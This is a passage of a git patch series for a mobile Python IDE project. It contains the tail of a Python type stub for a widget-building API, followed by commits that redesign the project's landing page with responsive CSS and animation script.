Self: ... + def overlay_view(self, align: str = "center") -> Self: ... + def clip(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def mask(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def mask_view(self, align: str = "center") -> Self: ... + def link(self, url: str) -> Self: ... + def accessibility( + self, + label: Optional[str] = None, + value: Optional[str] = None, + hint: Optional[str] = None, + hidden: Optional[bool] = None, + ) -> Self: ... + def capsule( + self, + tone: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + ) -> Self: ... + def soft_background( + self, + tone: Optional[str] = None, + corner_radius: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> Self: ... + def slot(self, value: str) -> Self: ... + def place(self, x: Optional[float] = None, y: Optional[float] = None, unit: str = "relative") -> Self: ... + def frame(self, **kwargs: Any) -> Self: ... + def offset(self, x: float = 0, y: float = 0) -> Self: ... + def layout_priority(self, value: float = 1) -> Self: ... + def fixed_size(self, horizontal: bool = True, vertical: bool = True) -> Self: ... + def hide(self, *families: str) -> Self: ... + def show(self, *families: str) -> Self: ... + + +class _WidgetNodeHandle: + def _set_color(self, value: ColorLike, key: str = "color") -> Self: ... + def _set_background(self, value: WidgetBackground) -> Self: ... + def _set_frame(self, frame: Dict[str, Any]) -> Self: ... + def color(self, value: ColorLike) -> Self: ... + def tone(self, value: str) -> Self: ... + def font( + self, + value: Optional[Union[str, int, float, Dict[str, Any]]] = None, + *, + size: Optional[Union[float, Dict[str, Any]]] = None, + weight: Optional[str] = None, + **size_values: Any, + ) -> Self: ... + def font_style(self, style: str) -> Self: ... + def font_weight(self, weight: str) -> Self: ... + def font_width(self, width: str) -> Self: ... + def monospaced(self, enabled: bool = True) -> Self: ... + def compressed(self, enabled: bool = True) -> Self: ... + def height(self, value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self: ... + def width(self, value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self: ... + def padding( + self, + value: Optional[Union[int, float]] = None, + *, + horizontal: Optional[float] = None, + vertical: Optional[float] = None, + top: Optional[float] = None, + leading: Optional[float] = None, + bottom: Optional[float] = None, + trailing: Optional[float] = None, + ) -> Self: ... + def align(self, value: str) -> Self: ... + def corner_radius(self, value: float) -> Self: ... + def opacity(self, value: float) -> Self: ... + def guide_lines(self, count: Union[bool, int] = True, color: Optional[ColorLike] = None) -> Self: ... + def grid(self, count: Union[bool, int] = True, color: Optional[ColorLike] = None) -> Self: ... + def points(self, enabled: bool = True) -> Self: ... + def fill(self, enabled: bool = True) -> Self: ... + def line_width(self, value: float) -> Self: ... + def track_color(self, value: ColorLike) -> Self: ... + def bar_spacing(self, value: float) -> Self: ... + def segment_colors(self, colors: List[ColorLike]) -> Self: ... + def baseline(self, value: float = 0, color: Optional[ColorLike] = None) -> Self: ... + def threshold(self, value: float, color: Optional[ColorLike] = None) -> Self: ... + def labels( + self, + start: Optional[Union[str, int, float]] = None, + end: Optional[Union[str, int, float]] = None, + color: Optional[ColorLike] = None, + ) -> Self: ... + def line_limit(self, value: int) -> Self: ... + def min_scale(self, value: float) -> Self: ... + def shadow( + self, + color: ColorLike = "#000000", + radius: float = 4, + x: float = 0, + y: float = 2, + ) -> Self: ... + def background(self, value: WidgetBackground) -> Self: ... + def overlay(self, color: ColorLike = "#000000", opacity: float = 0.18) -> Self: ... + def overlay_view(self, align: str = "center") -> _ContainerContext: ... + def clip(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def mask(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def mask_view(self, align: str = "center") -> _ContainerContext: ... + def link(self, url: str) -> Self: ... + def accessibility( + self, + label: Optional[str] = None, + value: Optional[str] = None, + hint: Optional[str] = None, + hidden: Optional[bool] = None, + ) -> Self: ... + def capsule( + self, + tone: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + ) -> Self: ... + def soft_background( + self, + tone: Optional[str] = None, + corner_radius: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> Self: ... + def slot(self, value: str) -> Self: ... + def place(self, x: Optional[float] = None, y: Optional[float] = None, unit: str = "relative") -> Self: ... + def frame(self, **kwargs: Any) -> Self: ... + def offset(self, x: float = 0, y: float = 0) -> Self: ... + def layout_priority(self, value: float = 1) -> Self: ... + def fixed_size(self, horizontal: bool = True, vertical: bool = True) -> Self: ... + def hide(self, *families: str) -> Self: ... + def show(self, *families: str) -> Self: ... + + +def save_image(source: Union[str, bytes], name: str) -> str: ... + + +def preview(family: Optional[str] = None) -> None: ... + + +def reload_user_widgets() -> None: ... + + +def reload_test_widgets() -> None: ... + + +def family_value(default: Any = None, **values: Any) -> Any: ... + + +def history( + key: str, + value: Any = None, + limit: int = 7, + *, + bucket: Optional[str] = "day", + default: Any = None, +) -> Any: ... + + +def cache_json( + url: str, + *, + ttl: Optional[float] = 3600, + default: Any = None, + params: Optional[Dict[str, Any]] = None, + headers: Optional[Dict[str, str]] = None, + key: Optional[str] = None, + timeout: float = 8, +) -> Any: ... + + +def schema() -> Dict[str, Any]: ... + + +def agent_schema() -> Dict[str, Any]: ... + + +def validate_layout(layout: Union[Dict[str, Any], "Widget"], family: Optional[str] = None) -> Dict[str, Any]: ... + + +def show( + title: str, + value: str = "", + subtitle: str = "", + *, + progress: Optional[float] = None, + color: Optional[str] = None, + icon: Optional[str] = None, + rows: Optional[List[Dict[str, Any]]] = None, + display_type: Optional[str] = None, + style: Optional[str] = None, + background: Optional[str] = None, + text_color: Optional[str] = None, +) -> None: ... + + +class Widget: + def __init__( + self, + background: Optional[WidgetBackground] = None, + padding: Optional[Union[int, float]] = None, + *, + style: Optional[str] = None, + layout: str = "auto", + ) -> None: ... + + # -- Semantic primitives -- + + def title(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def headline(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def subheadline(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def caption(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def body(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def label(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def detail(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def footnote(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def note(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def value( + self, + value: Union[str, int, float], + unit: Optional[str] = None, + subtitle: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def number( + self, + value: Union[str, int, float], + unit: Optional[str] = None, + subtitle: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def currency( + self, + value: Union[str, int, float], + symbol: str = "¥", + unit: Optional[str] = None, + digits: int = 2, + ) -> _WidgetNodeHandle: ... + def percent( + self, + value: Union[int, float], + total: float = 1.0, + digits: int = 0, + unit: str = "%", + ) -> _WidgetNodeHandle: ... + def change( + self, + primary: Union[str, int, float], + secondary: Optional[Union[str, int, float]] = None, + direction: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def symbol(self, name: str) -> _WidgetNodeHandle: ... + def sf_symbol(self, name: str) -> _WidgetNodeHandle: ... + def badge( + self, + text: Union[str, int, float], + icon: Optional[str] = None, + tone: str = "accent", + style: str = "plain", + ) -> _WidgetNodeHandle: ... + def status( + self, + text: Union[str, int, float], + tone: str = "neutral", + icon: Optional[str] = None, + style: str = "plain", + ) -> _WidgetNodeHandle: ... + def tag( + self, + text: Union[str, int, float], + tone: str = "neutral", + icon: Optional[str] = None, + style: str = "plain", + ) -> _WidgetNodeHandle: ... + def pill( + self, + text: Union[str, int, float], + tone: str = "accent", + icon: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def metric( + self, + label: Union[str, int, float], + value: Union[str, int, float], + unit: Optional[str] = None, + icon: Optional[str] = None, + tone: Optional[str] = None, + style: str = "plain", + ) -> _WidgetNodeHandle: ... + def kpi( + self, + label: Union[str, int, float], + value: Union[str, int, float], + unit: Optional[str] = None, + icon: Optional[str] = None, + tone: Optional[str] = None, + style: str = "prominent", + ) -> _WidgetNodeHandle: ... + def stat( + self, + label: Union[str, int, float], + value: Union[str, int, float], + unit: Optional[str] = None, + icon: Optional[str] = None, + tone: Optional[str] = None, + style: str = "plain", + ) -> _WidgetNodeHandle: ... + def pair( + self, + label: Union[str, int, float], + value: Union[str, int, float], + unit: Optional[str] = None, + icon: Optional[str] = None, + tone: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def line( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def trend( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def area( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def spark( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def bar( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def bars( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def ring( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def donut( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def radial( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def meter( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def progress_bar( + self, + value: Union[int, float], + total: float = 1.0, + color: Optional[ColorLike] = None, + height: Optional[float] = None, + track_color: Optional[ColorLike] = None, + ) -> _WidgetNodeHandle: ... + def row( + self, + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + ) -> _ContainerContext: ... + def column( + self, + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + ) -> _ContainerContext: ... + def layer( + self, + align: str = "center", + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + corner_radius: Optional[float] = None, + ) -> _ContainerContext: ... + def canvas( + self, + height: Optional[float] = None, + coordinate_space: str = "relative", + align: str = "center", + background: Optional[WidgetBackground] = None, + padding: Optional[Union[int, float]] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + opacity: Optional[float] = None, + frame: Optional[Dict[str, Any]] = None, + ) -> _ContainerContext: ... + def surface( + self, + role: str = "panel", + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + ) -> _ContainerContext: ... + def section( + self, + title: Optional[Union[str, int, float]] = None, + spacing: Optional[Union[int, float]] = None, + subtitle: Optional[Union[str, int, float]] = None, + style: Optional[str] = None, + ) -> _ContainerContext: ... + def list( + self, + items: List[Any], + title: Optional[Union[str, int, float]] = None, + limit: Optional[int] = None, + empty_text: Optional[Union[str, int, float]] = None, + dividers: bool = False, + ) -> _ContainerContext: ... + def overlay( + self, + slot: str = "center", + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + ) -> _ContainerContext: ... + def region( + self, + slot: str = "center", + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + ) -> _ContainerContext: ... + def top(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def top_leading(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def top_trailing(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def leading(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def center(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def trailing(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def bottom(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def bottom_leading(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def bottom_trailing(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + + # -- Basic elements -- + + def text( + self, + content: Union[str, int, float], + size: Optional[float] = None, + weight: Optional[str] = None, + color: Optional[ColorLike] = None, + align: Optional[str] = None, + max_lines: Optional[int] = None, + design: Optional[str] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + minimum_scale_factor: Optional[float] = None, + font_width: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + + def rich_text( + self, + parts: List[RichTextPart], + size: Optional[float] = None, + weight: Optional[str] = None, + color: Optional[ColorLike] = None, + align: Optional[str] = None, + max_lines: Optional[int] = None, + design: Optional[str] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + minimum_scale_factor: Optional[float] = None, + font_width: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + + def icon( + self, + name: str, + size: Optional[float] = None, + color: Optional[ColorLike] = None, + weight: Optional[str] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + ) -> _WidgetNodeHandle: ... + + def spacer(self, length: Optional[Union[int, float]] = None) -> _WidgetNodeHandle: ... + + def divider( + self, + color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def shape( + self, + kind: str = "rectangle", + color: Optional[ColorLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + size: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + shadow_x: float = 0, + shadow_y: float = 2, + ) -> _WidgetNodeHandle: ... + def path( + self, + points: List[PathPoint], + stroke: Optional[ColorLike] = None, + fill: Optional[ColorLike] = None, + line_width: Optional[float] = None, + closed: bool = False, + height: Optional[float] = None, + coordinate_space: str = "relative", + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + ) -> _WidgetNodeHandle: ... + + def rectangle( + self, + color: Optional[ColorLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def circle( + self, + color: Optional[ColorLike] = None, + size: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def capsule( + self, + color: Optional[ColorLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def emoji( + self, + content: Union[str, int], + size: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> _WidgetNodeHandle: ... + + def progress( + self, + value: Union[int, float], + total: float = 1.0, + color: Optional[ColorLike] = None, + height: Optional[float] = None, + track_color: Optional[ColorLike] = None, + ) -> _WidgetNodeHandle: ... + + def sparkline( + self, + values: List[Union[int, float]], + color: Optional[ColorLike] = None, + height: Optional[float] = None, + min_value: Optional[float] = None, + max_value: Optional[float] = None, + fill: bool = True, + show_points: bool = False, + line_width: Optional[float] = None, + track_color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + segment_colors: Optional[List[ColorLike]] = None, + baseline: Optional[float] = None, + threshold: Optional[float] = None, + labels: Optional[Union[List[Any], Dict[str, Any]]] = None, + label_color: Optional[ColorLike] = None, + ) -> _WidgetNodeHandle: ... + + def line_chart( + self, + values: List[Union[int, float]], + color: Optional[ColorLike] = None, + height: Optional[float] = None, + min_value: Optional[float] = None, + max_value: Optional[float] = None, + fill: bool = True, + show_points: bool = True, + line_width: Optional[float] = None, + track_color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + segment_colors: Optional[List[ColorLike]] = None, + baseline: Optional[float] = None, + threshold: Optional[float] = None, + labels: Optional[Union[List[Any], Dict[str, Any]]] = None, + label_color: Optional[ColorLike] = None, + ) -> _WidgetNodeHandle: ... + + def bar_chart( + self, + values: List[Union[int, float]], + color: Optional[ColorLike] = None, + height: Optional[float] = None, + min_value: Optional[float] = None, + max_value: Optional[float] = None, + spacing: Optional[float] = None, + corner_radius: Optional[float] = None, + track_color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + segment_colors: Optional[List[ColorLike]] = None, + baseline: Optional[float] = None, + threshold: Optional[float] = None, + labels: Optional[Union[List[Any], Dict[str, Any]]] = None, + label_color: Optional[ColorLike] = None, + ) -> _WidgetNodeHandle: ... + + def ring_chart( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + color: Optional[ColorLike] = None, + track_color: Optional[ColorLike] = None, + size: Optional[float] = None, + line_width: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + ) -> _WidgetNodeHandle: ... + + def gauge( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + size: Optional[float] = None, + color: Optional[ColorLike] = None, + track_color: Optional[ColorLike] = None, + line_width: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def timer( + self, + target: Optional[Union[datetime, str]] = None, + style: str = "timer", + size: Optional[float] = None, + weight: Optional[str] = None, + color: Optional[ColorLike] = None, + design: Optional[str] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + font_width: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def date(self, target: Optional[Union[datetime, str]] = None, style: str = "date") -> _WidgetNodeHandle: ... + def time(self, target: Optional[Union[datetime, str]] = None) -> _WidgetNodeHandle: ... + def relative_time(self, target: Optional[Union[datetime, str]] = None) -> _WidgetNodeHandle: ... + def timer_text(self, target: Optional[Union[datetime, str]] = None) -> _WidgetNodeHandle: ... + def background_image( + self, + asset: str, + content_mode: str = "fill", + dim: Optional[Union[bool, float]] = None, + scrim: Optional[Union[bool, str]] = None, + scrim_opacity: Optional[float] = None, + focal: str = "center", + overlay_color: ColorLike = "#000000", + ) -> "Widget": ... + def background(self, value: WidgetBackground) -> "Widget": ... + + def image( + self, + name: str, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + content_mode: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def photo( + self, + name: str, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + content_mode: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def avatar( + self, + name: str, + size: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> _WidgetNodeHandle: ... + def thumbnail( + self, + name: str, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> _WidgetNodeHandle: ... + + def button( + self, + title: str, + action: Optional[str] = None, + url: Optional[str] = None, + color: Optional[ColorLike] = None, + background: Optional[WidgetBackground] = None, + size: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> _WidgetNodeHandle: ... + + def link( + self, + title: str, + url: str, + icon: Optional[str] = None, + color: Optional[ColorLike] = None, + ) -> Union[_WidgetNodeHandle, _ContainerContext]: ... + + def toggle( + self, + title: str, + is_on: Union[bool, str] = False, + action: Optional[str] = None, + url: Optional[str] = None, + color: Optional[ColorLike] = None, + background: Optional[WidgetBackground] = None, + size: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> _WidgetNodeHandle: ... + + # -- Containers (context managers) -- + + def hstack( + self, + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + opacity: Optional[float] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + url: Optional[str] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + shadow_x: float = 0, + shadow_y: float = 2, + style: Optional[str] = None, + ) -> _ContainerContext: ... + + def vstack( + self, + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + opacity: Optional[float] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + url: Optional[str] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + shadow_x: float = 0, + shadow_y: float = 2, + ) -> _ContainerContext: ... + + def zstack( + self, + align: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + opacity: Optional[float] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + url: Optional[str] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + shadow_x: float = 0, + shadow_y: float = 2, + ) -> _ContainerContext: ... + + def grid( + self, + columns: int = 2, + spacing: Optional[Union[int, float]] = None, + row_spacing: Optional[Union[int, float]] = None, + column_spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + opacity: Optional[float] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + url: Optional[str] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + shadow_x: float = 0, + shadow_y: float = 2, + ) -> _ContainerContext: ... + + def card( + self, + background: Optional[WidgetBackground] = None, + corner_radius: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + spacing: Optional[Union[int, float]] = None, + opacity: Optional[float] = None, + align: Optional[str] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + url: Optional[str] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + shadow_x: float = 0, + shadow_y: float = 2, + ) -> _ContainerContext: ... + + # -- Output -- + + def validate(self, family: Optional[str] = None) -> Dict[str, Any]: ... + + def render(self, url: Optional[str] = None) -> None: ... + + +__all__ = [ + "SMALL", "MEDIUM", "LARGE", "CIRCULAR", "RECTANGULAR", "INLINE", + "Widget", "show", "save_image", "preview", "family_value", + "history", "cache_json", "schema", "agent_schema", "validate_layout", + "reload_user_widgets", "reload_test_widgets", + "family", "params", "storage", +] From bb37ad78de63abdf0fcdd16636479131cff8e344 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BB=8A=E6=99=9A=E6=89=93=E8=80=81=E8=99=8E?= Date: Sat, 23 May 2026 05:06:18 +0800 Subject: [PATCH 02/33] Redesign public landing page --- docs/index.html | 4075 ++++++++++++++++++++++++++++++++++------------- 1 file changed, 2963 insertions(+), 1112 deletions(-) diff --git a/docs/index.html b/docs/index.html index a5c16ba..b6d9095 100644 --- a/docs/index.html +++ b/docs/index.html @@ -1,1119 +1,2970 @@ - - + + - - -Python IDE - 掌上的 Python & JavaScript 开发环境 - - - - + +
+
+
+ + + +
+
+
+
+ + Built for coding on iPhone and iPad +
+

Python mobile workspace.

+

Local Python, AI Agent, Mini Apps, community, SSH, widgets, and tools in one focused mobile workspace.

+
+ Download + GitHub + Docs +
+ +
+ +
+
+
+ +
Python
+
+
from pythonide import agent, miniapp
+from pythonide import community, ssh
+task = agent.fix("api timeout")
+miniapp.build("timer")
+community.publish("toolbox")
+
+ +
+ AI Patch + - response.text + + response.json() +
+ +
+ Packages +
+ NumPy + Pillow + Flask + Requests +
+
+ +
SSH deploy ready
+
+
+
+ + +
+
+ +
+
+
+
+
Core features
+

Everything opens from one place.

+

Motion reveals feature groups without turning the page into a long checklist.

+
+ +
+
+
Py
+
Local execution
+
+
+
AI
+
Agent loop
+
+
+
SSH
+
Remote workflow
+
+
+
App
+
Mini Apps
+
+
+
Hub
+
In-app community
+
+
+
Lib
+
Library manager
+
+
+
+
+
+ +
+
+
+
Resources
+

Download, source, docs.

+

A focused page: one refined hero, one animated feature reveal, and clear exits to App Store, GitHub, and documentation.

+
+ +
+
+
+ + + window.setTimeout(() => { + const headline = document.querySelector("h1"); + if (!animationBooted || !window.gsap || (headline && Number(getComputedStyle(headline).opacity) < 0.1)) { + if (!animationBooted) initGSAP(); + settleIntroStyles(); + if (!prefersReducedMotion && !document.body.classList.contains("is-live-code")) { + startCodeNarrative(); + } + } + }, 4200); + From 6b125b466526b7e3f8d22b0b5d3a52444c5b6125 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BB=8A=E6=99=9A=E6=89=93=E8=80=81=E8=99=8E?= Date: Sat, 23 May 2026 05:18:21 +0800 Subject: [PATCH 03/33] Improve mobile portrait landing layout --- docs/index.html | 257 +++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 234 insertions(+), 23 deletions(-) diff --git a/docs/index.html b/docs/index.html index b6d9095..82e9029 100644 --- a/docs/index.html +++ b/docs/index.html @@ -1406,14 +1406,14 @@ } .brand { - font-size: 14px; + font-size: 15px; } .brand-mark { - width: 25px; - height: 25px; - border-radius: 9px; - font-size: 11px; + width: 28px; + height: 28px; + border-radius: 10px; + font-size: 12px; } .lang-toggle { @@ -1441,14 +1441,15 @@ } .lang-thumb { - width: 34px; - height: 27px; - transform: translateX(calc(var(--lang-index) * 34px)); + width: 36px; + height: 29px; + transform: translateX(calc(var(--lang-index) * 36px)); } .lang-toggle button { - min-width: 34px; - height: 27px; + min-width: 36px; + height: 29px; + font-size: 12px; font-weight: 720; } @@ -1459,12 +1460,12 @@ .theme-thumb, .theme-toggle button { - width: 36px; - height: 27px; + width: 38px; + height: 29px; } .theme-thumb { - transform: translateX(calc(var(--theme-index) * 36px)); + transform: translateX(calc(var(--theme-index) * 38px)); } @@ -1741,19 +1742,19 @@ } .feature-tile { - min-height: 88px; - grid-template-columns: 1fr; - align-content: start; - align-items: start; - gap: 8px; - padding: 11px; - border-radius: 32px; + min-height: 78px; + grid-template-columns: auto 1fr; + align-content: center; + align-items: center; + gap: 12px; + padding: 12px 14px; + border-radius: 30px; box-shadow: 0 14px 34px rgba(21, 20, 24, 0.052); } .feature-row { - grid-template-columns: repeat(2, minmax(0, 1fr)); - gap: 8px; + grid-template-columns: 1fr; + gap: 10px; } .feature-icon { @@ -1764,7 +1765,7 @@ } .feature-tile strong { - font-size: 13px; + font-size: 14px; } .scroll-story { @@ -1926,6 +1927,216 @@ } } + @media (min-width: 760px) and (max-width: 980px) and (orientation: portrait) { + .site { + min-height: 118svh; + padding: 0; + } + + .hero-shell { + min-height: 100svh; + } + + .nav { + padding: max(28px, env(safe-area-inset-top)) 44px 10px; + align-items: center; + } + + .brand { + gap: 12px; + font-size: 20px; + } + + .brand-mark { + width: 34px; + height: 34px; + border-radius: 12px; + font-size: 14px; + } + + .nav-links { + display: none; + } + + .nav-actions { + flex-direction: row; + align-items: center; + gap: 12px; + } + + .lang-toggle { + padding: 5px; + } + + .lang-thumb { + top: 5px; + left: 5px; + width: 44px; + height: 34px; + transform: translateX(calc(var(--lang-index) * 44px)); + } + + .lang-toggle button { + min-width: 44px; + height: 34px; + font-size: 13px; + } + + .theme-toggle { + padding: 5px; + } + + .theme-thumb { + top: 5px; + left: 5px; + width: 50px; + height: 34px; + transform: translateX(calc(var(--theme-index) * 50px)); + } + + .theme-toggle button { + width: 50px; + height: 34px; + } + + .theme-label { + width: 17px; + height: 17px; + } + + .hero-content { + min-height: calc(100svh - 96px); + align-items: start; + padding: 34px 54px 42px; + } + + .hero-grid { + width: min(100%, 760px); + margin: 0 auto; + grid-template-columns: 1fr; + align-items: start; + gap: 30px; + } + + .copy { + max-width: 760px; + gap: 18px; + } + + h1 { + max-width: 760px; + font-size: clamp(48px, 7.1vw, 68px); + line-height: 1.02; + } + + html[lang="zh-CN"] h1 { + max-width: 760px; + font-size: clamp(48px, 6.9vw, 66px); + line-height: 1.04; + font-weight: 700; + } + + .subhead { + max-width: 640px; + font-size: 17px; + line-height: 1.48; + } + + .cta-row { + gap: 12px; + } + + .cta { + min-height: 48px; + padding: 0 21px; + font-size: 15px; + } + + .visual { + min-height: 360px; + margin-top: 0; + align-items: start; + } + + .code-card { + width: 